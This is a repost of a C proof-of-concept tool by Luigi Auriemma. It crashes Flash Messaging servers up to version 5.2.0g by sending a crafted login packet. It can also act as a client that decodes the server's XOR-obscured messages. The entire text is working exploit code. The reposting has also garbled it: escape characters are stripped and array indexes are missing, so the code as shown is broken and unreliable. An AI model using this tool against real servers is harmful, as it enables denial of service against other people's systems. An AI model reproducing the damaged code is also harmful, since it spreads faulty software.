文章作者：Luigi Auriemma
复制内容到剪贴板
代码:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 645
#define BUFFSZ 8192
#define TIMEOUT 3
#define LOGIN "xd1" "3"
"xd1" "1"
"xd1" "10/07/2004" /* date */
"xd1" "00.00.00" /* time (hh.mm.ss) */
"xd1"
"xd1"
"xd1" "%s" /* nickname */
"xd1"
"xd1" "000000"
"xd1"
int timeout(int sock);
void flashmsg_algo(u_char *data, int len);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i,
len,
nonull = 0,
chr = 0x69;
/* the normal chr must be 0x00, and if it is different */
/* causes the immediate crash of the server */
u_short port = PORT;
u_char buff[BUFFSZ],
pck[BUFFSZ >> 1],
*p,
*nickname = "crash";
setbuf(stdout, NULL);
fputs("n"
"Flash Messaging <= 5.2.0g (rev 1.1.2) server crash and decoder "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s [options] <server>n"
"n"
"Options:n"
"-p PORT specify the server port (default %d)n"
"-s NICK this tool will act as a client emulator and will show any decodedn"
" message or command sent by the server to you.n"
" You must also specify the nickname you wanna usen"
" By default this tool is a proof-of-concept ables to crash the servern"
"-n use this option to see any server data in a more comprehensible textn"
" format. By default any data block is showed in hexadecimal moden"
"n", argv[0], PORT);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[1]) {
case 'p': port = atoi(argv[++i]); break;
case 's': {
chr = 0x00;
nickname = argv[++i];
} break;
case 'n': nonull = 1; break;
default: {
printf("nError: wrong command-line argument (%s)nn", argv);
exit(1);
}
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- target %s:%hun",
inet_ntoa(peer.sin_addr),
port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- prepare login datan", stdout);
len = snprintf(
pck,
sizeof(pck) - 1,
LOGIN,
nickname);
if((len < 0) || (len > sizeof(pck))) {
fputs("nError: the nickname you have inserted is longer than my buffernn", stdout);
exit(1);
}
p = buff;
for(i = 0; i < len; i++) {
*p++ = pck;
*p++ = chr;
}
len <<= 1;
flashmsg_algo(buff, len);
fputs("- send login datan", stdout);
if(send(sd, buff, len, 0)
< 0) std_err();
if(chr) {
fputs("- check servern", stdout);
if((timeout(sd) < 0) || ((len = recv(sd, buff, BUFFSZ, 0)) <= 0)) {
fputs("nServer IS vulnerable!!!nn", stdout);
} else {
fputs("nServer doesn't seem vulnerable, check its decoded reply:n", stdout);
show_dump(buff, len, stdout);
}
} else {
for(;;) {
len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) std_err();
if(!len) break;
flashmsg_algo(buff, len);
if(nonull) {
p = buff;
for(i = 0; i < len; i += 2, p++) {
*p = buff;
if(*p == 0xd1) *p = 'n'; // 0xd1 = delimiter
}
*p = 0x00;
printf("n--------------------n%s", buff);
} else {
fputc('n', stdout);
show_dump(buff, len, stdout);
}
}
}
close(sd);
return(0);
}
void flashmsg_algo(u_char *data, int len) {
int i;
const static u_char encdata[] =
"ScratchIt" "YouFool";
for(i = 0; i < len; i++) {
*data++ ^= encdata[i & 15] - 38;
*data++ ^= 38;
}
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif
